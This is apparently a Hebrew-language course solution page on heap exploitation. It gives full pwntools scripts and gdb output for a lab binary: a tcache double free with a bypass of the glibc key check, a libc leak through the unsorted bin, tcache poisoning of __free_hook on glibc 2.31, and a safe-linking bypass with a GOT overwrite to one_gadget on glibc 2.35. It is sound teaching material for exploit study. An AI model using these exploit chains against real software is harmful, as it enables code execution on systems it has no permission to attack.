לדלג לתוכן

7.3 שחרור כפול וtcache poisoning פתרון

פתרון - שחרור כפול וtcache poisoning

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי וה-exploit המלא. כל הכתובות וה-offset-ים בפלט מתייחסים ל-libc ספציפי (libc-2.31 מ-Ubuntu 20.04, ובהמשך libc-2.35 מ-Ubuntu 22.04). אצלכם הם יהיו שונים - תמיד תמדדו בעצמכם ב-gdb ותשלפו סמלים מה-libc שלכם, לעולם אל תעתיקו offset עיוור.

נגדיר קודם את פונקציות העזר שמדברות עם התפריט. נשתמש בהן בכל התרגילים:

from pwn import *

context.binary = elf = ELF('./tc')
libc = ELF('./libc.so.6')

def start():
    return process('./tc')

def menu(p, opt):
    p.sendlineafter(b'> ', str(opt).encode())

def alloc(p, i, sz, data=b'\n'):
    menu(p, 1)
    p.sendlineafter(b'idx: ',  str(i).encode())
    p.sendlineafter(b'size: ', str(sz).encode())
    p.sendafter(b'data: ', data)

def free(p, i):
    menu(p, 2)
    p.sendlineafter(b'idx: ', str(i).encode())

def edit(p, i, data):
    menu(p, 3)
    p.sendlineafter(b'idx: ', str(i).encode())
    p.sendafter(b'data: ', data)

def view(p, i, n):
    menu(p, 4)
    p.sendlineafter(b'idx: ', str(i).encode())
    return p.recv(n)

פתרון תרגיל 1 - מיפוי ה-tcache

מריצים תחת gdb, מקצים שני צ'אנקים 0x50 ומשחררים:

pwndbg> tcachebins
tcachebins
0x60 [  2]: 0x5555555592a0 -> 0x555555559240 <- 0x0

הצ'אנק ששוחרר אחרון (0x...2a0, שהיה idx 1) נמצא בראש, ואחריו idx 0 (0x...240). זו רשימת LIFO. הסתכלות על הזיכרון:

pwndbg> x/4gx 0x555555559240
0x555555559240: 0x0000555555559290  0x0000555555559010
                \_ next (fd)          \_ key == address of tcache_perthread_struct

שדה ה-next של idx 0 מצביע ל-idx 1, ושדה ה-key (0x...010) מצביע לתחילת ה-heap, שם יושב tcache_perthread_struct. זה בדיוק המבנה מההרצאה: next ב-offset 0, key ב-offset 8.

פתרון תרגיל 2 - בדיקת המפתח של 2.29 ועקיפתה

שחרור כפול נאיבי:

p = start()
alloc(p, 0, 0x50, b'A'*8)
free(p, 0)
free(p, 0)
print(p.recvall(timeout=2).decode(errors='replace'))

הפלט:

free(): double free detected in tcache 2

זה מגיע מההשוואה e->key == tcache בזמן השחרור השני: מכיוון שהשחרור הראשון כתב key = tcache, glibc מזהה את הצ'אנק כבר ברשימה וקורס. עכשיו העקיפה - דורסים את שדה ה-key לפני השחרור השני:

p = start()
alloc(p, 0, 0x50, b'A'*8)
free(p, 0)                 # bin: [0], key = tcache
edit(p, 0, b'\x00'*16)     # next stays 0 (was NULL), key -> 0  (different from tcache)
free(p, 0)                 # passes! key != tcache, the check doesn't trigger

בדיקה ב-gdb מראה עכשיו count = 2 באותו bin, עם הצ'אנק מצביע על עצמו - כלומר שחרור כפול מוצלח. שמרנו את 8 הבתים הראשונים (ה-next, שהיה ממילא NULL) וכתבנו אפס על ה-key בלבד.

למה זה עבד: הבדיקה של 2.29 היא נקודתית - היא סומכת על שדה ה-key בתוך הצ'אנק. כל שליטה בכתיבה לצ'אנק המשוחרר (UAF) מאפשרת לזייף אותו. אם אין UAF edit, המסלול החלופי הוא fastbin dup (free(a); free(b); free(a) אחרי מילוי ה-tcache).

פתרון תרגיל 3 - leak libc דרך ה-unsorted bin

מקצים צ'אנק גדול מדי בשביל tcache, צ'אנק שמירה אחריו, משחררים וקוראים:

p = start()
alloc(p, 0, 0x500, b'A'*8)   # chunk 0x510 -> doesn't fit in tcache
alloc(p, 1, 0x20,  b'B'*8)   # guard: prevents merging with top
free(p, 0)                    # -> unsorted bin, fd/bk = main_arena+0x60
leak = u64(view(p, 0, 0x500)[:8])
log.success('unsorted leak = %#x', leak)

מודדים את ה-offset פעם אחת ב-gdb. אחרי ה-free:

pwndbg> bins
unsortedbin
all: 0x5555555596b0 -> 0x7ffff7fac000 (main_arena+96) <- ...
pwndbg> p/x 0x7ffff7fac000 - 0x7ffff7dc0000     # leak - libc_base
$1 = 0x1ecbe0

כלומר לגרסה הזו, leak = libc_base + 0x1ecbe0. משלימים:

libc.address = leak - 0x1ecbe0
log.success('libc base = %#x', libc.address)
assert libc.address & 0xfff == 0, 'not page aligned -> libc/offset is wrong'

בדיקת השפיות: הבסיס תמיד נגמר ב-000 (alignment עמוד). אם לא - טעיתם ב-offset או שה-libc אינו הגרסה הנכונה.

פתרון תרגיל 4 - הרעלה אל __free_hook (glibc 2.31)

עכשיו מחברים הכל ל-exploit מלא. הנה הסקריפט מקצה לקצה על 2.31:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./tc')
libc = ELF('./libc.so.6')
# ... helper functions menu/alloc/free/edit/view go here ...

p = start()

# ---------- Stage 1: leak libc via unsorted bin ----------
alloc(p, 0, 0x500, b'A'*8)
alloc(p, 1, 0x20,  b'B'*8)
free(p, 0)
leak = u64(view(p, 0, 0x500)[:8])
libc.address = leak - 0x1ecbe0            # measure it yourselves!
log.success('libc base = %#x', libc.address)
assert libc.address & 0xfff == 0

free_hook = libc.sym['__free_hook']
system    = libc.sym['system']
log.info('__free_hook = %#x  system = %#x', free_hook, system)

# ---------- Stage 2: tcache poisoning to __free_hook ----------
alloc(p, 2, 0x50, b'C'*8)
alloc(p, 3, 0x50, b'D'*8)
free(p, 3)                                # bin: [3]        count 1
free(p, 2)                                # bin: [2]->[3]   count 2
edit(p, 2, p64(free_hook))                # 2.next = &__free_hook  (no mangling, 2.31)

alloc(p, 4, 0x50, b'E'*8)                 # returns 2. head of the list = __free_hook
alloc(p, 5, 0x50, p64(system))            # returns a chunk on __free_hook -> writes system

# ---------- Stage 3: trigger ----------
alloc(p, 6, 0x50, b'/bin/sh\x00')
free(p, 6)                                # __free_hook("/bin/sh") == system("/bin/sh")

p.interactive()

מריצים ומקבלים shell:

$ python3 exploit.py
[+] libc base = 0x7ffff7dc0000
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) ...

למה זה עבד: שחררנו שני צ'אנקים לאותו bin (מונה 2), דרסנו את ה-next של הראש ל-__free_hook, ושתי הקצאות מאוחר יותר נחתו בדיוק שם. חשוב היה לשחרר שניים - עם שחרור בודד המונה היה יורד ל-0 וההקצאה השנייה הייתה מדלגת על ה-tcache. הכל עבד גולמי כי 2.31 עוד בלי safe-linking, ו-__free_hook עדיין קיים.

איך להכליל: כל יעד כתיב שווה - GOT (ב-Partial RELRO), __malloc_hook, מבני FILE. הכלל: הקצאה שרירותית + יעד = חטיפת הרצה.

פתרון תרגיל 5 - אותה התקפה על glibc 2.35

מריצים את הסקריפט של תרגיל 4 על הבינארי שקומפל ב-Ubuntu 22.04, ורואים שני כשלים:

  1. הקריאה libc.sym['__free_hook'] מחזירה 0 - ה-hook הוסר ב-2.34.
  2. גם אם היינו כותבים ל-next, ה-safe-linking היה מפענח את זה לזבל - צריך לערבל.

מתקנים את שני הדברים. ראשית, פונקציית הערבול והשגת leak heap דרך safe-linking עצמו:

def encrypt(pos, ptr):
    # pos = the mem address of the chunk being poisoned (== address of the next field)
    return (pos >> 12) ^ ptr

# heap leak: a single freed chunk -> the mangled next is mem>>12
alloc(p, 2, 0x50, b'C'*8)
free(p, 2)                                # bin 0x60: [2], next = (mem2>>12) ^ 0
mangled = u64(view(p, 2, 0x50)[:8])
heap = mangled << 12                       # the heap's page address (the base)
log.success('heap base = %#x', heap)

מודדים ב-gdb את ה-offset של הצ'אנק שנרעיל מבסיס ה-heap (יציב בין הרצות כי סדר ההקצאה קבוע). אצלנו הצ'אנק idx 2 יושב ב-heap + 0x2a0:

pwndbg> vis_heap_chunks
0x...2a0   <- chunk idx 2 (mem)
pwndbg> p/x 0x...2a0 & 0xfff
$1 = 0x2a0

עכשיו היעד. הבינארי no-pie עם Partial RELRO, אז ה-GOT כתיב. נדרוס כניסת GOT של פונקציה שנקראת מיד (printf, שרץ בכל תפריט) ל-one_gadget. שתי הערות קריטיות:

  • בדיקת הalignment של safe-linking דורשת שהצ'אנק המורעל יהיה aligned ל-16, אז נבחר כניסת GOT שכתובתה aligned ל-16.
  • הפונקציה tcache_get מאפסת את שדה ה-key (e->key = NULL), כלומר כותבת 8 בתים אחרי היעד. בגלל ש-printf נורה מיד עם הקריאה הבאה, השכן הנדרס לא מספיק להיקרא לפני שה-shell נפתח.
# find a one_gadget whose constraint holds (check in gdb!)
gadgets = [0xebc81, 0xebc85, 0xebc88, 0xebce2]   # from running one_gadget ./libc.so.6
one = libc.address + 0xebc88

# choose a GOT entry aligned to 16
target = elf.got['printf']
assert target % 16 == 0, 'choose a different function whose GOT entry is aligned to 16'

# poison: reopen the chunk, build a pair, and overwrite a mangled next toward target
alloc(p, 2, 0x50, b'C'*8)                 # same mem2 address (LIFO)
alloc(p, 3, 0x50, b'D'*8)
mem2 = heap + 0x2a0
free(p, 3)                                # bin: [3]      count 1
free(p, 2)                                # bin: [2]->[3] count 2
edit(p, 2, p64(encrypt(mem2, target)))    # 2.next (mangled) -> printf@got

alloc(p, 4, 0x50, b'E'*8)                 # returns 2
alloc(p, 5, 0x50, p64(one))               # returns a chunk on printf@got -> writes one_gadget
# this allocation calls printf("data: ") before the write (printf is still valid),
# and then writes one_gadget to the GOT. The next call to printf (the menu) fires the gadget.

p.interactive()

מריצים ומקבלים shell גם על 2.35. אם ה-shell לא נפתח, כמעט תמיד זה אחד משניים: אילוץ ה-one_gadget לא מתקיים (בדקו ב-gdb על כתובת ה-gadget את האוגרים והמחסנית - בחרו gadget אחר), או שהיעד לא aligned ל-16 (unaligned tcache chunk detected - בחרו כניסת GOT אחרת).

למה זה עבד: ה-safe-linking אילץ אותנו לשני צעדים נוספים - leak heap וערבול ה-next. את leak ה-heap קיבלנו במתנה מה-safe-linking עצמו: צ'אנק בודד ששוחרר שומר next = (mem>>12) ^ 0 = mem>>12, כלומר את הכתובת שלו מוזזת ב-12. משם ערבלנו את היעד עם encrypt, ובגלל ש-__free_hook נעלם עברנו ליעד GOT עם one_gadget.

איך להכליל: על 2.34+ תמיד בדקו איזה יעד קיים. אם Partial RELRO - GOT. אם Full RELRO - מבני FILE (House of Apple), מטפלי exit, או הקצאה על המחסנית דרך environ.

פתרון תרגיל 6 (אתגר) - שחרור כפול טהור בלי edit

כשאין edit, הדרך היחידה לכתוב ל-next היא דרך ה-data של malloc - ובדיוק בשביל זה השחרור הכפול קיים: הוא נותן malloc שמחזיר צ'אנק שעדיין ראש ה-bin. הרצף:

# bypass the key check without edit: fastbin dup or freeing with an intermediate chunk
# here we assume we managed to bypass the key (in practice: fill tcache and move to fastbin)
alloc(p, 0, 0x50, b'A'*8)
free(p, 0)                                # bin: [0]        count 1
# ... key bypass (fastbin dup / indirect overwrite) ...
free(p, 0)                                # bin: [0]->[0]   count 2  (double free)

target = elf.got['printf']                # some target (16-byte aligned)
# alloc returns 0, and the data is written into the same memory that is still the head of the bin:
alloc(p, 1, 0x50, p64(target))            # 0.next <- target (via the data, not edit!)
alloc(p, 2, 0x50, b'B'*8)                 # returns 0 again, head of the list = target
alloc(p, 3, 0x50, p64(one_gadget))        # returns a chunk on target -> hijack

ההבדל מהמסלול עם edit: כאן ה-data של ההקצאה alloc(p, 1, ...) הוא מה ששותל את ה-next המורעל, כי הצ'אנק שהוקצה הוא בו זמנית עדיין ראש ה-bin (זו בדיוק המתנה של השחרור הכפול). על 2.32+ צריך גם כאן לערבל את ה-next עם encrypt ולהשיג leak heap כמו בתרגיל 5.

מתי כל מסלול עדיף: אם יש UAF edit - עדיף (פשוט וקצר, לא צריך שחרור כפול בכלל). אם אין edit אבל יש שליטה בתוכן של הקצאה חדשה - השחרור הכפול הוא הגשר שהופך את זה להרעלה.